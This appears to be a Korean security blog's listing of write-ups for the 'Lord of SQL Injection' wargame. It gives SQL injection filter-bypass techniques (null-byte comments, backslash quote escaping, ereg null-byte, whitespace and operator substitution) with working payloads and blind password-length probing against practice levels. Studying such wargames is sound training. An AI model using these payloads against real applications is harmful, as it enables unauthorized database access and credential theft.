일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- Strings
- 안드로이드
- CTF-d
- Docker
- Openstack
- diva
- 인시큐어뱅크
- NTFS
- beebox
- ctf
- 파이썬
- Volatility
- logstash
- ESXi
- XSS
- MFT
- foremost
- 2018
- frida
- lord of sql injection
- InsecureBank
- elasticsearch
- Suninatas
- base64
- Reflected XSS
- igoat
- SQL Injection
- vulnhub
- otter
- kibana
- Today
- Total
목록WarGame/Lord of SQL Injection (26)
Information Security
주석 우회 #, --, ;%00, /**/ MySQL 쿼리는 ;%00 null 일 때 멈추게 되서 ?pw=%27);%00 입력 시 해결되는 것을 알 수 있다.
싱글 쿼터(') 앞에 백 슬래시(\)를 입력하면 싱글 쿼터(')는 문자로 인식된다. id=\&pw="1" or 1=1--%20 입력 시 풀리는 것을 알 수 있다.
ereg 함수 취약점 ereg는 뒤에 NULL 문자를 만나게 되면 더 이상 문자열을 체크하지 않음 NULL %00 ?id=admin&pw=%00a%27or%20id=%27admin 입력 시 해결되는 것을 알 수 있다.
%, _(와일드 카드) a% : a로 시작하는 임의의 문자열 %a% : a가 들어가는 임의의 문자열 a_ : a로 시작하는 두 글자의 문자열 ?pw=% 입력 시 Hello guest 문자열이 출력되는 것을 알 수 있다. % 문자를 계속 늘려도 Hello guest만 출력이 되어 _ 7개 입력 시 메시가 출력되지 않았다. _ 8개 입력 시 Hello guest가 출력이 되어 pw 길이가 8이라는 것을 알 수 있다. 0-9, a-z, A-Z까지 전부 해보았만 Hello guest밖에 뜨지 않아 guest와 같이 앞부분이 비밀번호가 같다는 것을 알 고 832% 입력 시 정답이라는 것을 알 수 있다.
공백 우회 %0a, %0b, %0c, %0d, %09, (), /**/, + 빈칸을 우회해야 하기 때문에 %0b, %0c를 이용해 우회하면 풀리는 것을 알 수 있다.
빈칸 공백 우회 '' : (), /**/, %09, %0a, %0c, %0b, + no=1%0a||%0aid%0ain%0a("admin") 입력 시 Hello admin이 출력되는 것을 알 수 있다. no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(8) 입력 시 Hello admin이 출력되는 것을 알 수 있다. no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(6) 입력 시 메시지가 출력되지 않았다. ?pw=735c2773 값이라는 것을 알 수 있다.
'(싱글쿼터) 우회 "(더블쿼터), `, hex, binary, char() 사용 ascii() 우회 ord() 사용 ?no=0 or true 입력 시 Hello guest 메시지가 출력되는 것을 알 수 있다. ?no=1 or id like "admin" 입력 시 Hello admin 메시지가 출력되는 것을 알 수 있다. ?no=1 or length(pw) like 8 입력 시 Hello admin 메시지가 출력되는 것을 알 수 있다. ?no=1 or length(pw) like 9 입력 시 Hello guest가 출력되는 것을 알 수 있다. ?pw=1c62ba6f라는 것을 알 수 있다.
= 우회 like, between 사용 or, and 우회 and -> &&, or -> || 사용 substr right, mid, mid 사용 ?pw='||true%23을 입력 시 쿼리문이 참이 되면서 Hello guest를 출력한다. ?pw='||id like 'admin'%26%26 true%23 입력 시 Hello admin이 출력된다. ?pw'||id like 'admin'%26%26length(pw) like 8%23 입력 시 Hello admin이 출력되는 것으로 보아 패스워드 길이가 8이 참값이라는 것을 알 수 있다. ?pw'||id like 'admin'%26%26length(pw) like 9%23 입력 시 메시지가 출력되지 않아 거짓이라는 것을 알 수 있다. ?pw=88e3137f ..